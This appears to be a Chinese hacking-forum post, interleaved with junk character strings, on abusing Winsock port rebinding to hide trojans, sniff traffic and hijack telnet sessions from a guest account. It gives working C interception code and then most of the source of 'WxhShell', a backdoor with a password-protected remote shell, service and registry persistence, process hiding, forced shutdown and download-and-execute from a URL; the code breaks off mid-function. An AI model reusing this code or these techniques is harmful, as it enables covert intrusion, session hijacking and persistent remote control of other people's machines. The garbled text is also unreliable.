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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /%qw-v9qPV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wXUP%i]i=  
O*qSc^9q  
  saddr.sin_family = AF_INET; Ml-GAkgG  
+]?/c>M  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wWq(|"  
Buxn!s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?a)X)#lQ  
Mw{0A\6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,orq&#*Wd  
kT7x !7C  
  这意味着什么?意味着可以进行如下的攻击: <HYK9{Q  
LYTx8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Cu2eMUGt  
Y9}5&#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~vL7$-:  
1=U(ZX+u  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5a8[0&hA 2  
IZ9L ;"}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  CdB sd  
s,z$Vt"h*K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^)i5.o\  
:eHD{=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 He&7(mQ0^  
4c})LAwd&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *:r6E  
|ZJ<J)y  
  #include D./!/>@f  
  #include rN$U%\.I  
  #include W#|30RU.G  
  #include    $!?tJ@{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   z2.9l?"rfQ  
  int main() .8.4!6~@  
  { x6n(BMr  
  WORD wVersionRequested; a,$v;s/  
  DWORD ret; +, IMN)?;z  
  WSADATA wsaData; *8I+D>x  
  BOOL val; OEZ`5"j  
  SOCKADDR_IN saddr; 3y# U|&]{  
  SOCKADDR_IN scaddr; k U75  
  int err; rnOg;|u8  
  SOCKET s; ejF GeR  
  SOCKET sc; NE~R&ym9  
  int caddsize; Xa,d"R~  
  HANDLE mt; >]ghme  
  DWORD tid;   \`kH2`  
  wVersionRequested = MAKEWORD( 2, 2 ); s%cfJe_k  
  err = WSAStartup( wVersionRequested, &wsaData ); / 5\gP//9K  
  if ( err != 0 ) { 7O.?I# 76  
  printf("error!WSAStartup failed!\n"); S]"U(JmW\  
  return -1; P0mY/bBU  
  } MbT;]Bo  
  saddr.sin_family = AF_INET; p1BMQ?=($  
   MBIlt 1P  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 d O})#50f  
1QA{NAnu&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); R>C^duos.  
  saddr.sin_port = htons(23); V(6*wQ`&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sxK|0i}6  
  { "VIoV u  
  printf("error!socket failed!\n"); KfPYH\ 0  
  return -1; `F(ghC  
  } eb ` !  
  val = TRUE; Rfx}[!<{N  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Y5/SbQYf1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) uc~/l4~N  
  { {0(:5%  
  printf("error!setsockopt failed!\n"); Yl$R$u)  
  return -1; 23(j<  
  } .="/n8B  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; V7gv@<1<y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bb4 `s0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 sC}p_'L  
Yk^clCB{A(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) pzcl@  
  { \jpm   
  ret=GetLastError(); id?B<OM  
  printf("error!bind failed!\n"); hI#1Ybl  
  return -1; <i$ud&D  
  } 2=%R>&]*  
  listen(s,2); m>:zwz< ;  
  while(1) 6Trtulm  
  { yQ03&{#  
  caddsize = sizeof(scaddr); F,.dC&B  
  //接受连接请求 @ L=dcO{r  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); uD0<|At/  
  if(sc!=INVALID_SOCKET) /QW-#K|S&  
  { w9aLTLv-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); n5U-D0/Q  
  if(mt==NULL) !7>~=n_,L.  
  { 0|chRX  
  printf("Thread Creat Failed!\n"); }od5kK;  
  break; EpCT !e  
  }  %>z)Q  
  } /@O$jlX5I  
  CloseHandle(mt); -tH^Deo  
  } -}G>{5.A  
  closesocket(s); Vb++K0CK  
  WSACleanup(); xgQ&'&7l  
  return 0; "q]r{0  
  }   /l b"g_  
  DWORD WINAPI ClientThread(LPVOID lpParam) h?-*SLT  
  { P 5_ l&  
  SOCKET ss = (SOCKET)lpParam; ?.~hex#M@  
  SOCKET sc; .kqH}{hf  
  unsigned char buf[4096]; T*"*##c  
  SOCKADDR_IN saddr; LcW:vV|'K  
  long num; LD gGVl  
  DWORD val; K^Ixu~  
  DWORD ret; 6V&HlJH  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^fqco9^;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +#RqQ8 \  
  saddr.sin_family = AF_INET; K)&oDwk  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); L3J .Oh  
  saddr.sin_port = htons(23); r"hogmFD;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }1BpIqee  
  { d8Sr,t+  
  printf("error!socket failed!\n"); ]b&O#D9  
  return -1; #HyE-|_C  
  } ;Ob`B@!=b  
  val = 100; 2S@aG%-)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gw_]Y^U  
  { ;8iK];^  
  ret = GetLastError(); f2]O5rX p  
  return -1; V+>.Gf  
  } pRc<U^Z.h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =%ry-n G  
  { ;a9`z+ K  
  ret = GetLastError(); ;NPbEPL[5  
  return -1; ]1dnp]r  
  } @#1T-*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =2&Sw(6j  
  { Z~Vups#+f  
  printf("error!socket connect failed!\n"); 8-geBlCE,  
  closesocket(sc); &<$YR~g5j$  
  closesocket(ss); /s[D[:P_  
  return -1; 1MYA/l$  
  } D:.1Be`Tv  
  while(1) zi?G wh~  
  { cz.,QIt_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >!BZ>G2  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 P~9y}7Q\0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'nP;IuMP  
  num = recv(ss,buf,4096,0); PlC8&$   
  if(num>0) 9 lH00n+'  
  send(sc,buf,num,0); TYu(;~   
  else if(num==0) Q$:>yveR*  
  break; lEr_4!h$rZ  
  num = recv(sc,buf,4096,0); hMQh?sF/  
  if(num>0) k3VRa|Y")  
  send(ss,buf,num,0); D"ecwx{%;C  
  else if(num==0) @mm~i~~KA  
  break; /=+Bc=<lZ  
  } sV$Zf `X)  
  closesocket(ss); bU{lV<R,  
  closesocket(sc); `S:LuU8e  
  return 0 ; a<Ksas'5S  
  } =2R0 g2n  
g'<ekY+V:  
jlb=]hp8%  
========================================================== 2|:x_rcj  
bVW2Tjc:  
下边附上一个代码,,WXhSHELL oBI@.&tG}  
GSaU:A  
========================================================== g?> V4WF  
T@gm0igW/;  
#include "stdafx.h" Q)%a2s;  
bc%N !d  
#include <stdio.h> c?7 Wjy  
#include <string.h> OqlP_^Zz7p  
#include <windows.h> HE.YfD)  
#include <winsock2.h> TBu[3X%  
#include <winsvc.h> z8*{i]j  
#include <urlmon.h> 4u+4LB*  
D\ kd6  
#pragma comment (lib, "Ws2_32.lib") E0_S+`o2y  
#pragma comment (lib, "urlmon.lib") i564<1`x  
mb#&yK(h  
#define MAX_USER   100 // 最大客户端连接数 *jrQ-'<T  
#define BUF_SOCK   200 // sock buffer +GFK!Pf  
#define KEY_BUFF   255 // 输入 buffer 3.@ I\p}  
:Lh`Q"a  
#define REBOOT     0   // 重启 ]~t4E'y)z  
#define SHUTDOWN   1   // 关机 nf )y_5y  
p$!Q?&AV/  
#define DEF_PORT   5000 // 监听端口 qN@0k>11?  
RDsBO4RG  
#define REG_LEN     16   // 注册表键长度 HWOOw&^<  
#define SVC_LEN     80   // NT服务名长度 1azj%WY  
Gcp!"y=i  
// 从dll定义API :7DXLI|L#?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CoTe$C7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MwO`DrV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zwJK|Sk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NsUP0B}.  
Lf0Wc'9{  
// wxhshell配置信息 E`gUNAKQ  
struct WSCFG { -0:Equ?pz  
  int ws_port;         // 监听端口 Eq/oq\(/6  
  char ws_passstr[REG_LEN]; // 口令 'FN+BvD  
  int ws_autoins;       // 安装标记, 1=yes 0=no u~\l~v^mj  
  char ws_regname[REG_LEN]; // 注册表键名 U^ Ulj/%6  
  char ws_svcname[REG_LEN]; // 服务名 `2PvE4]%p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aZB$%#'vR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o@ W:PmKW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^rssZQKY[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,!Q^"aOT:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j@C*kj;-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]mdO3P  
?CO..l  
}; [a!*m<  
z!>ml3  
// default Wxhshell configuration 2YhtD A  
struct WSCFG wscfg={DEF_PORT, ,;k`N`#'  
    "xuhuanlingzhe", /^Ng7Mi!  
    1, ![3l K  
    "Wxhshell", %mr6p}E|  
    "Wxhshell", vD3j(d  
            "WxhShell Service", SU>cJ*  
    "Wrsky Windows CmdShell Service", _8ubo\M~  
    "Please Input Your Password: ", i[ 40p!~  
  1, *G(ZRj@ 33  
  "http://www.wrsky.com/wxhshell.exe", ~%d*#Yxq  
  "Wxhshell.exe" K</="3 HK  
    }; b|E1>TkY  
" 'TEBkj|u  
// 消息定义模块 rUWC=?Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^<w3i?KPW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {1m.d;(1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XO,gEn&6V  
char *msg_ws_ext="\n\rExit."; tA{?-5  
char *msg_ws_end="\n\rQuit."; }4XXNYH  
char *msg_ws_boot="\n\rReboot..."; _(0GAz%9  
char *msg_ws_poff="\n\rShutdown..."; vuO~^N]G  
char *msg_ws_down="\n\rSave to "; =5u;\b>*  
141XnAb)I  
char *msg_ws_err="\n\rErr!"; st-I7K\v  
char *msg_ws_ok="\n\rOK!"; 87q~ nk  
FC }r~syqA  
char ExeFile[MAX_PATH]; ZP;WXB`  
int nUser = 0; t^SND{[WcM  
HANDLE handles[MAX_USER]; mt*/%>@7R  
int OsIsNt; G[ gfD\  
w .+B h  
SERVICE_STATUS       serviceStatus; YT\.${N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r"W,G /;h  
aa,^+^J  
// 函数声明 ^zVW 3 Y q  
int Install(void); >v1ajI>O&{  
int Uninstall(void); idSc#n22  
int DownloadFile(char *sURL, SOCKET wsh); .qg 2zE$0  
int Boot(int flag); ?i5=sK\  
void HideProc(void); D,&o=EU  
int GetOsVer(void); Zg/ ],/`  
int Wxhshell(SOCKET wsl); dZ%rmTE(H  
void TalkWithClient(void *cs); OoOr@5g  
int CmdShell(SOCKET sock); $0P7^4)w:  
int StartFromService(void); x}X hL  
int StartWxhshell(LPSTR lpCmdLine); $E h:m&hq  
 PpWdZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L2{b~`UvP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <g'0q*qE  
x{I, gu|+  
// 数据结构和表定义 vCsJnKqK  
SERVICE_TABLE_ENTRY DispatchTable[] = 6<m9guv  
{ 08F~6e6a8  
{wscfg.ws_svcname, NTServiceMain}, j V~+=(w)  
{NULL, NULL} bm#/ KT_8  
}; `&5_~4T7  
<-O^ol,fX  
// 自我安装 DA9f\q   
int Install(void) 26[m7\O  
{ JYO("f  
  char svExeFile[MAX_PATH]; :BpXi|n;  
  HKEY key; }E&48$0h  
  strcpy(svExeFile,ExeFile); FN"Ye*d  
#Z1 <lAy  
// 如果是win9x系统,修改注册表设为自启动 *rv7#!].  
if(!OsIsNt) { 7 jiy9 [  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *(CV OY~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $[{YE[a  
  RegCloseKey(key); /MV2#P@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4'GosQ85  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ">x"BP  
  RegCloseKey(key); JE ''Th}  
  return 0; E4qQ  
    } Twq,6X-  
  } `!lQd}W  
}  RR[1mM  
else { +~za6  
bo40s9"-*W  
// 如果是NT以上系统,安装为系统服务 rYPj3!#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0+6=ag%  
if (schSCManager!=0) @\|Fd)  
{ %%qg<iO_  
  SC_HANDLE schService = CreateService HA]5:ck  
  ( T/iZ"\(~w  
  schSCManager, )kvrQ6  
  wscfg.ws_svcname, |ohCA&k%;  
  wscfg.ws_svcdisp, jWcfQ  
  SERVICE_ALL_ACCESS, Z^6qxZJ7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , KU 98"b5  
  SERVICE_AUTO_START, (65|QA   
  SERVICE_ERROR_NORMAL, JlhI3`X;/  
  svExeFile, 3%YDsd vQx  
  NULL, 6h{>U*N"&d  
  NULL, lnv&fu`1P  
  NULL, xyyEaB  
  NULL, %eW2w@8]  
  NULL ^17i98w  
  ); 't'2z  
  if (schService!=0) +r$M 9  
  { h_\OtoRa  
  CloseServiceHandle(schService); nZ8jBCh  
  CloseServiceHandle(schSCManager); ]7J*(,sp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L)9uBdF  
  strcat(svExeFile,wscfg.ws_svcname); ((T6z$:hA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9a0|iy  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UaXWHCm`  
  RegCloseKey(key); ewVks>lbz  
  return 0; rL|9Xru  
    } .9@y*_ 9  
  } g![?P"i^t  
  CloseServiceHandle(schSCManager); Hl=M{)q@   
} 'W*ODAz6  
} ~ As_O6JI  
,QPo%{:p  
return 1; w<Ot0&&  
} W ![*0pL  
?$~5ti#\  
// 自我卸载 u$ff %`E  
int Uninstall(void) ,Y`TP4Ip  
{ w 3$9  
  HKEY key; v?s%qb=T  
!n|4w$t"V  
if(!OsIsNt) { ie}?}s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !a^'Jbb  
  RegDeleteValue(key,wscfg.ws_regname); /kNSB;  
  RegCloseKey(key); _6]c f!H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PYr'1D'  
  RegDeleteValue(key,wscfg.ws_regname); "HtaJVp//  
  RegCloseKey(key); DT3koci(  
  return 0; BoP,MpF  
  } 5q _n 69b  
} r Fhi:uRV  
} Cp^`-=r+  
else { #r'S@:[  
2k+u_tj>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j W/*-:  
if (schSCManager!=0) A@)ou0[n@  
{ [ ]42$5eof  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W4$F\y  
  if (schService!=0) %6E:SI 4  
  { ub]"b[j\1  
  if(DeleteService(schService)!=0) { 5v"Sv  
  CloseServiceHandle(schService); Esdw^MGL2  
  CloseServiceHandle(schSCManager); <8BNqbX  
  return 0; %:yVjb,Yf  
  } CtE <9?  
  CloseServiceHandle(schService);  J7p?9  
  } Vw+RRi(  
  CloseServiceHandle(schSCManager); X][=(l!;w7  
} fF.sT7Az+  
} +l;AL5h  
b] ~  
return 1; ?<U">8cP  
} S^_F0</U,  
@waY+sqt=  
// 从指定url下载文件 S=qx,<J 39  
int DownloadFile(char *sURL, SOCKET wsh) 2 >/}-a  
{ QSyPtjg]  
  HRESULT hr; iyP0;$  
char seps[]= "/"; kerBy\^  
char *token; TnJJ& "~3b  
char *file; sZI$t L<j  
char myURL[MAX_PATH]; $PFE>=nM  
char myFILE[MAX_PATH]; \CrWKBL  
=`.OKUAn  
strcpy(myURL,sURL); wW|[Im&  
  token=strtok(myURL,seps); Xd5uF/w  
  while(token!=NULL) M`H@ % M  
  { tC\(H=ecP  
    file=token; !YIW8SP)  
  token=strtok(NULL,seps); `Hd~H  
  } $fG~;`T  
4nKlW_{,  
GetCurrentDirectory(MAX_PATH,myFILE); I 8VCR8q  
strcat(myFILE, "\\"); )wCV]TdF  
strcat(myFILE, file); NE+ ;<mW  
  send(wsh,myFILE,strlen(myFILE),0); z4 KKt&  
send(wsh,"...",3,0); rkn'1M&u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V;u FYt; E  
  if(hr==S_OK) k:#u%Z   
return 0; .~fov8  
else t4<+]]   
return 1; Z4369  
2X6L'!=  
} 4D sHUc6  
F&a)mpFv3c  
// 系统电源模块 /ommM  
int Boot(int flag) 9](RZ6A+o  
{ d$:LUxM#  
  HANDLE hToken; 3o`c`;H%p  
  TOKEN_PRIVILEGES tkp; 4P^CqD&i  
v0KJKrliGO  
  if(OsIsNt) { k1~? }+<e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^CW{`eBwk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F[*/D/y(  
    tkp.PrivilegeCount = 1; S#nW )=   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B!((N{4H+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "mc ]^ O  
if(flag==REBOOT) { Or :P*l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  }A&I@2d  
  return 0; %PC8}++  
} @bZ,)R  
else { @|<qTci  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _&aPF/  
  return 0; h6Cqc}P  
} .zsY VtK  
  } E <\\/Q%w  
  else { I-m Bj8^;  
if(flag==REBOOT) { _2w8S\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3f(tb%pa5  
  return 0; N)4R.}  
} l<:\w.Gl  
else { .,\^{.E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Iqq BUH  
  return 0; QBb%$_Z  
} CTJwZY7  
} #Ve@D@d[  
dP=,<H#]m  
return 1; V#X<Yt  
} >DR$}{IV  
WJy\{YAG  
// win9x进程隐藏模块 j[Gg[7q{y  
void HideProc(void) +aN"*//i  
{ vQy+^deW  
z/wwe\ a5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A~H@0>1  
  if ( hKernel != NULL ) }!N/?A5  
  { p{AX"|QM"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e'r-o~1eN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FT\%=>{  
    FreeLibrary(hKernel); #]r'?GN  
  } U\-=|gQ'  
p#6tKY;N  
return; J@+b_e*  
} +mC?.B2D  
DA>TT~L  
// 获取操作系统版本 v {) 8QF]  
int GetOsVer(void) {xf00/  
{ Q^):tO]!Ma  
  OSVERSIONINFO winfo; MH|R@g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); * 'Bu-1{  
  GetVersionEx(&winfo); N 1hj[G[H"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =k5O*ql"  
  return 1; lYS*{i1^ '  
  else sQn@:Gk  
  return 0; =3dd1n;8>  
} ANTWWs}  
7m8(8$-6  
// 客户端句柄模块 eV j7%9  
int Wxhshell(SOCKET wsl) OO\$'% y`  
{ fJ&\Z9zY  
  SOCKET wsh; CW -[c  
  struct sockaddr_in client; $hy0U_}6  
  DWORD myID; Q9i[?=F:z  
_gw paAJ  
  while(nUser<MAX_USER) Z=oGyA  
{ W&v|-#7=6  
  int nSize=sizeof(client); 5YYBX\MV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); sfk;c#K  
  if(wsh==INVALID_SOCKET) return 1; *!ecb1U5  
ZFs xsg^r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >4J(\'}m|  
if(handles[nUser]==0) xtut S  
  closesocket(wsh); ?_eHvw  
else kW=!RX[&  
  nUser++; gt\kTn."  
  } g([M hf#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Hyi'z1  
odn3*{c{x  
  return 0; 'V\V=yc1  
} %e:[[yq)G  
0~ o,^AW  
// 关闭 socket e m  
void CloseIt(SOCKET wsh) *,28@_EwY  
{ 6Ad=#MM  
closesocket(wsh); L%+mD$@u  
nUser--; G&08Qb ,N  
ExitThread(0); ZEso2|   
} Hwcmt!y  
J,\e@  
// 客户端请求句柄 M0$E_*  
void TalkWithClient(void *cs) je%D&ci$  
{ b@O{eQB  
)y{:Uc\4!  
  SOCKET wsh=(SOCKET)cs; tG~[E,/`  
  char pwd[SVC_LEN]; #Hy\l J  
  char cmd[KEY_BUFF]; <h~=d("j  
char chr[1]; MaPI<kYQv  
int i,j; -A zOujSS  
UG[r /w5(F  
  while (nUser < MAX_USER) { ~K"nm{.  
GJ F &id  
if(wscfg.ws_passstr) { /EuH2cy$l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cj$:TWYIh[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GWv i  
  //ZeroMemory(pwd,KEY_BUFF); AH_qZTv0{Q  
      i=0; %m+7$iD  
  while(i<SVC_LEN) { wB&5q!{!  
J 5xMA-  
  // 设置超时 BWNI|pq)v  
  fd_set FdRead; J57; X=M  
  struct timeval TimeOut; cICf V,j  
  FD_ZERO(&FdRead); Pm,.[5uc  
  FD_SET(wsh,&FdRead); %> 5>wP   
  TimeOut.tv_sec=8; ".2d{B  
  TimeOut.tv_usec=0; |>Fz:b d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VJ?>o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M93*"jA  
N9*:]a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uP(t+}dQ+3  
  pwd=chr[0]; IUNr<w<  
  if(chr[0]==0xd || chr[0]==0xa) { CD%Cb53  
  pwd=0; XMdCQ=  
  break; .rS. >d^n  
  } dMCoN8W  
  i++; bwj{5-FU  
    } (.X)=  
1 b 86@f   
  // 如果是非法用户,关闭 socket aOS,%J^ ?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uB#U( jl  
} [ D.%v~j  
K?r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k/sfak{Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LNyrIk/1  
tP"6H-)X&  
while(1) { /V63yzoY  
(w:,iw#  
  ZeroMemory(cmd,KEY_BUFF); ;FW <%  
(\!?>T[En  
      // 自动支持客户端 telnet标准   paLPC&G  
  j=0; )WInPW  
  while(j<KEY_BUFF) { o8|qT)O@U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v$w}UC%uf  
  cmd[j]=chr[0]; ]:b52Z  
  if(chr[0]==0xa || chr[0]==0xd) { b*H*(}A6"'  
  cmd[j]=0; \KzJNCOT  
  break; +I3O/=)  
  } maN2(1hz  
  j++; szb@2fK  
    } &GkD5b  
4 Yv:\c  
  // 下载文件 l1KgPRmEP  
  if(strstr(cmd,"http://")) { SOn)'!g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ie|5,qw E  
  if(DownloadFile(cmd,wsh)) d4*SfzB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ' QMcQvU  
  else u&^KrOM@#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '&dT   
  } g6;smtu_T  
  else { O5Z9`_9<  
OM{^F=Ap  
    switch(cmd[0]) { n:2._s T  
  [0aC]XQZ  
  // 帮助 "|[9 Q?  
  case '?': { P/.<sr=2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5bAdF'~  
    break; &$ "J\v m  
  } <U1T_fiBoc  
  // 安装 1dw{:X=j  
  case 'i': { MfHOn YV  
    if(Install()) 6@t&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2QM{e!9  
    else K3M.ZRh\;`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '^>} =f  
    break; 8Znr1=1   
    } #QIY+muN  
  // 卸载 &(A#F[ =0  
  case 'r': { dH PvVe/  
    if(Uninstall()) Bv!{V)$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wbei{3~$Y"  
    else 8'jt59/f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ENIg_s4  
    break; 2l+L96  
    } nq8XVT.m^\  
  // 显示 wxhshell 所在路径 ()bQmNqmO=  
  case 'p': { Qrg- xu=  
    char svExeFile[MAX_PATH]; iw3\`,5   
    strcpy(svExeFile,"\n\r"); =CJ`0yDQ>  
      strcat(svExeFile,ExeFile); @j_o CDS  
        send(wsh,svExeFile,strlen(svExeFile),0); h7^&:  
    break; U|V,&RlbR  
    } l`ZL^uT  
  // 重启 .P aDR |!  
  case 'b': { mL2J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BDvkY  
    if(Boot(REBOOT)) ,]7ouH$H}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HI 1T  
    else { }DS%?6}Sy  
    closesocket(wsh); GIH{tr1:<  
    ExitThread(0); iD G&Muc  
    } 't&1y6Uu  
    break; \t&! &R#  
    } TB* t^ E  
  // 关机 G}g;<,g~  
  case 'd': { 6XF Ufi+  
